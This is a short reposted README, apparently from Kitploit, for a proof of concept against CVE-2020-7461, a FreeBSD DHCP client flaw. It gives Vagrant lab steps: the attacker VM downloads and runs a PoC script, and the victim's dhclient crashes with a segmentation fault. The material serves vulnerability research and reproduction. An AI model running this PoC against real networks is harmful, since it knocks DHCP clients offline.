CVE-2020-7461 — PoC for DHCP vulnerability (NAME:WRECK) in FreeBSD | Kitploit

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CVE-2020-7461

PoC for DHCP vulnerability (NAME:WRECK) in FreeBSD

For educational purposes only

Environment

Host: macOS 11.2.1
Vagrant: 2.2.15
Victim: FreeBSD 12.1-STABLE r364849
Attacker: Ubuntu 20.04

Disclaimer

This PoC will cause DoS instead of RCE to prevent abuse.

PoC

wreck

Turn off DHCP server in VirtualBox

dhcp

Launch VMs

$ cd victim
$ vagrant up
$ cd ..

$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault